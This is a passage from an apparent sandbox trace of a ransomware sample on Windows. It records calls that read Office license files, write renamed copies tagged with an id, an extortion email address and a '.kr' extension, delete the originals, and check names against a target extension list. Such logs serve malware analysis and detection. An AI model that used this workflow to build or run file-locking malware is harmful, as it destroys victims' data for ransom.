liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0206.263] SetEndOfFile (hFile=0x578) returned 1 [0206.268] CloseHandle (hObject=0x578) returned 1 [0206.268] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0206.270] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription1-pl.xrm-ms")) returned 1 [0206.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-pl.xrm-ms") returned 91 [0206.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-pl.xrm-ms") returned 91 [0206.880] lstrlenW (lpString=".doc") returned 4 [0206.880] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0206.880] lstrlenW (lpString=".docx") returned 5 [0206.880] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0206.880] lstrlenW (lpString=".pdf") returned 4 [0206.880] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0206.880] lstrlenW (lpString=".xls") returned 4 [0206.880] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0206.880] lstrlenW (lpString=".xlsx") returned 5 [0206.880] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0206.880] lstrlenW (lpString=".ppt") returned 4 [0206.880] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0206.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-pl.xrm-ms") returned 91 [0206.880] lstrlenW (lpString=".zip") returned 4 [0206.880] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0206.880] lstrlenW (lpString=".rar") returned 4 [0206.880] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0206.880] lstrlenW (lpString=".bz2") returned 4 [0206.880] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0206.880] lstrlenW (lpString=".7z") returned 3 [0206.880] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0206.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-pl.xrm-ms") returned 91 [0206.880] lstrlenW (lpString=".dbf") returned 4 [0206.880] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0206.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-pl.xrm-ms") returned 91 [0206.880] lstrlenW (lpString=".1cd") returned 4 [0206.880] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0206.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-pl.xrm-ms") returned 91 [0206.880] lstrlenW (lpString=".jpg") returned 4 [0206.881] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0206.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-pl.xrm-ms") returned 91 [0206.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-pl.xrm-ms") returned 91 [0206.881] lstrlenW (lpString=".doc") returned 4 [0206.881] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0206.881] lstrlenW (lpString=".docx") returned 5 [0206.881] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0206.881] lstrlenW (lpString=".pdf") returned 4 [0206.881] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0206.881] lstrlenW (lpString=".xls") returned 4 [0206.881] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0206.881] lstrlenW (lpString=".xlsx") returned 5 [0206.881] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0206.881] lstrlenW (lpString=".ppt") returned 4 [0206.881] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0206.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-pl.xrm-ms") returned 91 [0206.881] lstrlenW (lpString=".zip") returned 4 [0206.881] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0206.881] lstrlenW (lpString=".rar") returned 4 [0206.881] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0206.881] lstrlenW (lpString=".bz2") returned 4 [0206.881] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0206.881] lstrlenW (lpString=".7z") returned 3 [0206.881] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0206.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-pl.xrm-ms") returned 91 [0206.881] lstrlenW (lpString=".dbf") returned 4 [0206.881] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0206.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-pl.xrm-ms") returned 91 [0206.881] lstrlenW (lpString=".1cd") returned 4 [0206.881] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0206.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-pl.xrm-ms") returned 91 [0206.881] lstrlenW (lpString=".jpg") returned 4 [0206.882] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0206.882] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0206.882] lstrlenW (lpString="O365SmallBusPremR_Subscription5-pl.xrm-ms") returned 41 [0206.882] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription5-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0206.891] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=11215) returned 1 [0206.891] CloseHandle (hObject=0x568) returned 1 [0206.891] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription5-pl.xrm-ms")) returned 0x220 [0206.891] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription5-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0206.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription5-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0206.892] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0206.892] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0206.892] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription5-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0207.183] GetLastError () returned 0x0 [0207.183] ReadFile (in: hFile=0x568, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x2bcf, lpOverlapped=0x0) returned 1 [0207.197] WriteFile (in: hFile=0x574, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x2bd0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x2bd0, lpOverlapped=0x0) returned 1 [0207.198] ReadFile (in: hFile=0x568, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0207.198] WriteFile (in: hFile=0x574, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x126, lpOverlapped=0x0) returned 1 [0207.198] SetEndOfFile (hFile=0x574) returned 1 [0207.198] CloseHandle (hObject=0x574) returned 1 [0207.198] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0207.198] SetEndOfFile (hFile=0x568) returned 1 [0207.202] CloseHandle (hObject=0x568) returned 1 [0207.202] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0207.202] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription5-pl.xrm-ms")) returned 1 [0207.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-pl.xrm-ms") returned 91 [0207.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-pl.xrm-ms") returned 91 [0207.203] lstrlenW (lpString=".doc") returned 4 [0207.203] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0207.203] lstrlenW (lpString=".docx") returned 5 [0207.203] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0207.203] lstrlenW (lpString=".pdf") returned 4 [0207.203] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0207.203] lstrlenW (lpString=".xls") returned 4 [0207.203] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0207.203] lstrlenW (lpString=".xlsx") returned 5 [0207.203] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0207.203] lstrlenW (lpString=".ppt") returned 4 [0207.203] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0207.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-pl.xrm-ms") returned 91 [0207.203] lstrlenW (lpString=".zip") returned 4 [0207.203] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0207.203] lstrlenW (lpString=".rar") returned 4 [0207.203] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0207.203] lstrlenW (lpString=".bz2") returned 4 [0207.203] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0207.203] lstrlenW (lpString=".7z") returned 3 [0207.203] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0207.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-pl.xrm-ms") returned 91 [0207.204] lstrlenW (lpString=".dbf") returned 4 [0207.204] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0207.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-pl.xrm-ms") returned 91 [0207.204] lstrlenW (lpString=".1cd") returned 4 [0207.204] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0207.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-pl.xrm-ms") returned 91 [0207.204] lstrlenW (lpString=".jpg") returned 4 [0207.204] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0207.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-pl.xrm-ms") returned 91 [0207.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-pl.xrm-ms") returned 91 [0207.204] lstrlenW (lpString=".doc") returned 4 [0207.204] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0207.204] lstrlenW (lpString=".docx") returned 5 [0207.204] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0207.204] lstrlenW (lpString=".pdf") returned 4 [0207.204] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0207.204] lstrlenW (lpString=".xls") returned 4 [0207.204] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0207.204] lstrlenW (lpString=".xlsx") returned 5 [0207.204] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0207.204] lstrlenW (lpString=".ppt") returned 4 [0207.204] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0207.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-pl.xrm-ms") returned 91 [0207.204] lstrlenW (lpString=".zip") returned 4 [0207.204] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0207.204] lstrlenW (lpString=".rar") returned 4 [0207.204] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0207.204] lstrlenW (lpString=".bz2") returned 4 [0207.204] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0207.204] lstrlenW (lpString=".7z") returned 3 [0207.204] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0207.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-pl.xrm-ms") returned 91 [0207.204] lstrlenW (lpString=".dbf") returned 4 [0207.204] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0207.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-pl.xrm-ms") returned 91 [0207.205] lstrlenW (lpString=".1cd") returned 4 [0207.205] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0207.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-pl.xrm-ms") returned 91 [0207.205] lstrlenW (lpString=".jpg") returned 4 [0207.205] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0207.205] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0207.205] lstrlenW (lpString="O365SmallBusPremR_SubTrial2-ul-oob.xrm-ms") returned 41 [0207.205] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0207.206] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=11655) returned 1 [0207.206] CloseHandle (hObject=0x568) returned 1 [0207.206] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial2-ul-oob.xrm-ms")) returned 0x220 [0207.206] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial2-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0207.206] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0207.206] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0207.206] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0207.206] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial2-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0207.208] GetLastError () returned 0x0 [0207.208] ReadFile (in: hFile=0x568, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x2d87, lpOverlapped=0x0) returned 1 [0207.210] WriteFile (in: hFile=0x574, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x2d90, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x2d90, lpOverlapped=0x0) returned 1 [0207.211] ReadFile (in: hFile=0x568, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0207.211] WriteFile (in: hFile=0x574, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x126, lpOverlapped=0x0) returned 1 [0207.212] SetEndOfFile (hFile=0x574) returned 1 [0207.212] CloseHandle (hObject=0x574) returned 1 [0207.212] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0207.212] SetEndOfFile (hFile=0x568) returned 1 [0207.215] CloseHandle (hObject=0x568) returned 1 [0207.215] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0207.216] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial2-ul-oob.xrm-ms")) returned 1 [0207.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-ul-oob.xrm-ms") returned 91 [0207.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-ul-oob.xrm-ms") returned 91 [0207.216] lstrlenW (lpString=".doc") returned 4 [0207.216] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0207.216] lstrlenW (lpString=".docx") returned 5 [0207.216] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0207.216] lstrlenW (lpString=".pdf") returned 4 [0207.216] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0207.216] lstrlenW (lpString=".xls") returned 4 [0207.217] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0207.217] lstrlenW (lpString=".xlsx") returned 5 [0207.217] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0207.217] lstrlenW (lpString=".ppt") returned 4 [0207.217] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0207.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-ul-oob.xrm-ms") returned 91 [0207.217] lstrlenW (lpString=".zip") returned 4 [0207.217] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0207.217] lstrlenW (lpString=".rar") returned 4 [0207.217] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0207.217] lstrlenW (lpString=".bz2") returned 4 [0207.217] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0207.217] lstrlenW (lpString=".7z") returned 3 [0207.217] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0207.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-ul-oob.xrm-ms") returned 91 [0207.217] lstrlenW (lpString=".dbf") returned 4 [0207.217] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0207.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-ul-oob.xrm-ms") returned 91 [0207.217] lstrlenW (lpString=".1cd") returned 4 [0207.217] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0207.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-ul-oob.xrm-ms") returned 91 [0207.217] lstrlenW (lpString=".jpg") returned 4 [0207.217] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0207.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-ul-oob.xrm-ms") returned 91 [0207.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-ul-oob.xrm-ms") returned 91 [0207.217] lstrlenW (lpString=".doc") returned 4 [0207.217] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0207.217] lstrlenW (lpString=".docx") returned 5 [0207.217] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0207.217] lstrlenW (lpString=".pdf") returned 4 [0207.217] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0207.217] lstrlenW (lpString=".xls") returned 4 [0207.217] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0207.218] lstrlenW (lpString=".xlsx") returned 5 [0207.218] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0207.218] lstrlenW (lpString=".ppt") returned 4 [0207.218] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0207.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-ul-oob.xrm-ms") returned 91 [0207.218] lstrlenW (lpString=".zip") returned 4 [0207.218] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0207.218] lstrlenW (lpString=".rar") returned 4 [0207.218] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0207.218] lstrlenW (lpString=".bz2") returned 4 [0207.218] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0207.218] lstrlenW (lpString=".7z") returned 3 [0207.218] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0207.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-ul-oob.xrm-ms") returned 91 [0207.218] lstrlenW (lpString=".dbf") returned 4 [0207.218] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0207.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-ul-oob.xrm-ms") returned 91 [0207.218] lstrlenW (lpString=".1cd") returned 4 [0207.218] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0207.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-ul-oob.xrm-ms") returned 91 [0207.218] lstrlenW (lpString=".jpg") returned 4 [0207.218] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0207.218] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0207.218] lstrlenW (lpString="O365SmallBusPremR_SubTrial3-pl.xrm-ms") returned 37 [0207.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial3-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0207.219] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=11199) returned 1 [0207.219] CloseHandle (hObject=0x568) returned 1 [0207.219] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial3-pl.xrm-ms")) returned 0x220 [0207.219] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial3-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0207.219] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial3-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0207.220] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0207.220] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0207.220] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial3-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0207.221] GetLastError () returned 0x0 [0207.221] ReadFile (in: hFile=0x568, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: 